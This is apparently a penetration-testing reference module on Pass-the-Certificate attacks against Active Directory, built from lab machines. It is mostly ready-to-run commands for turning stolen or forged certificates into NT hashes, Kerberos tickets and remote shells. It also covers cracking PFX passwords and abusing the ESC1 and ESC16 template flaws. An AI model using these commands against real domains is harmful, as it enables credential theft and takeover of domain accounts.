Back to All Modules

Pass-the-Certificate (PTC)

#Overview

Pass-the-Certificate enables authentication to Active Directory using an X.509 certificate instead of a password or hash. This technique exploits Active Directory Certificate Services (ADCS) when a certificate is mapped to a user account with the Client Authentication EKU. By using the certificate's private key, an attacker can request a Kerberos TGT and subsequently access domain resources as the certificate's owner.

#Prerequisites

  • PFX/P12 file containing the certificate and private key, OR the extracted .crt and .key files
  • The certificate must have the Client Authentication EKU (1.3.6.1.5.5.7.3.2)
  • The certificate must be mapped to a valid domain user account (via Subject Alternative Name or implicit mapping)
  • certipy-ad or PKINITtools

#When PTC Works

  • Certificate is mapped to a domain user with Client Authentication EKU
  • Domain Controller supports PKINIT (Kerberos Public Key Cryptography for Initial Authentication) -- enabled by default on modern AD
  • Certificate chains to an Enterprise CA trusted by the domain

#Exploitation / Execution

#1. certipy auth (Direct Authentication)

Extract the user's NT hash and TGT directly from a PFX file:

sudo ntpdate -u <DC_IP>                               # Sync time first!
certipy-ad auth -pfx user.pfx -dc-ip <DC_IP>
BASH

This outputs the NT hash and a .ccache ticket file that can be used for further authentication.

#2. certipy auth with Domain Specification

certipy-ad auth -pfx administrator.pfx -domain '<domain>' -dc-ip <DC_IP>
BASH

#3. PKINITtools Workflow (Manual Approach)

# Step 1: Extract certificate and key from PFX
openssl pkcs12 -in user.pfx -nocerts -out user.key -nodes
openssl pkcs12 -in user.pfx -nokeys -out user.crt

# Step 2: Request TGT using certificate
gettgtpkinit.py <domain>/<user> -cert-pfx user.pfx <output>.ccache

# Step 3: Request service ticket
export KRB5CCNAME=<output>.ccache
gets4uticket.py <domain>/<machine>$@<domain> -dc-ip <DC_IP> <service>.ccache
BASH

#4. Certificate to TGT to Service Ticket Workflow

# Full workflow:
certipy-ad auth -pfx administrator.pfx -dc-ip <DC_IP>
# Output: NT hash for the user + .ccache ticket

# Option A: Use NT hash for PTH
evil-winrm -i <IP> -u administrator -H <nt_hash>

# Option B: Use ccache ticket
export KRB5CCNAME=administrator.ccache
impacket-psexec.py -k -no-pass <domain>/administrator@<IP>
BASH

#5. WinRM with Certificate (Direct)

Certificates can be used directly for WinRM authentication over SSL:

# Extract from PFX
openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out key.pem -nodes
openssl pkcs12 -in legacyy_dev_auth.pfx -nokeys -out cert.pem

# Authenticate over SSL WinRM
evil-winrm -i <IP> -c cert.pem -k key.pem -S
BASH

This was the technique used in Timelapse, where a PFX file was found in an anonymous SMB share.

#Certificate Extraction from SMB Shares

PFX files found on SMB shares are often password-protected. Crack the password:

# Convert PFX to crackable format
pfx2john legacyy_dev_auth.pfx > pfx.john
john pfx.john --wordlist=/usr/share/wordlists/rockyou.txt

# Extract after cracking
openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out key.pem -nodes
openssl pkcs12 -in legacyy_dev_auth.pfx -nokeys -out cert.pem
BASH

#Certificate Generation via ADCS Misconfigurations

When a vulnerable certificate template exists, generate a certificate for any user:

# ESC1: Request certificate with arbitrary UPN
certipy-ad req -u '<user>@<domain>' -p '<pass>' -upn administrator@<domain> -target <CA_IP> -ca '<CA_NAME>' -template '<template>'

# ESC16: Modify UPN, request, restore
certipy-ad account update -username "<user>@<domain>" -p "<pass>" -user <target_account> -upn 'administrator'
certipy-ad req -u '<target_account>' -hashes <hash> -dc-ip '<DC_IP>' -target '<FQDN>' -ca '<CA_NAME>' -template 'User'
certipy-ad account update -username "<user>@<domain>" -p "<pass>" -user <target_account> -upn '<original_upn>'
BASH

#Common Pitfalls

  • Warning: Time synchronization is critical for PKINIT -- always run sudo ntpdate -u <DC_IP> first
  • Warning: The "The NETBIOS connection with the remote host timed out" error means DNS resolution failed -- verify hostname resolution
  • Warning: Certificates expire; check the validity period before relying on them for persistence

#OPSEC Considerations

  • Shield: PKINIT authentication generates Event ID 4768 (Kerberos TGT request) with certificate information
  • Shield: Certificate-based logon is logged differently than password-based and may bypass certain monitoring rules
  • Shield: ADCS enrollment events are logged and can be audited

#Post-Exploitation Value

  • Generates both NT hash (for PTH) and Kerberos ticket (for PTT)
  • Certificate can be reused multiple times within its validity period
  • PFX files persist across password resets (unlike hashes)

#Cross-References

#Tool References

ToolLink
certipy-adhttps://github.com/ly4k/Certipy
PKINITtoolshttps://github.com/dirkjanm/PKINITtools
impacket (gettgtpkinit.py)https://github.com/fortra/impacket

#Source Machines

  • Escape (Medium, AD) - ESC1 + certipy to get Administrator certificate
  • Fluffy (Easy, AD) - ESC16 + certipy shadow credentials + certipy auth
  • Timelapse (Easy, AD) - PFX certificate from SMB share for WinRM auth